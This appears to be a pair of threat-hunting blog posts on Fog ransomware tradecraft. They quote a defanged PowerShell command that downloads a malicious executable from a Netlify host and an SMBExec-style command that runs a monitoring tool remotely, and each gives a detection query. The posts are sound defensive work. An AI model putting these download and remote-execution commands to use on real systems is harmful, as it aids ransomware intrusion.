Know Your Adversary

Hello everyone! Today we'll look at another example of Ingress Tool Transfer (T1105) . And this time adversaries used Netlify to store malicious files. According to the report , Fog ransomeware affiliates used PowerShell to download malicious files, for example: iwr -uri 'hxxps://hilarious-trifle-d9182e.netlify[.]app/ktool.exe' -outfile $temppath As you can see, they used Netlify, a legitimate platform for building, deploying, and scaling web apps, to store those files. To tell the truth, it's not the first time I see adversaries use it, so it's another good target for hunting: event_type: "dnsreqwin" AND dns_rname: "netlify.app" See you tomorrow!

Hello everyone! Threat actors are always adding new tools to their arsenal. This Symantec report on Fog Ransomware proves it one more time.  Among other uncommon tools, the adversary leveraged Syteca - a legitimate security solution, which enables recording on-screen activity, keystroke monitoring, etc. The threat actors even used  PsExec and SMBExec to execute the tool on the remote systems, for example: cmd.exe /Q /c SytecaClient.exe 1> \\127.0.0.1\ADMIN$\__1748095766.8385904 2>&1 As it's a legitimate tool, it's quite easy to detect, for example: event_type: "processcreatewin" AND proc_file_productname: "syteca" See you tomorrow!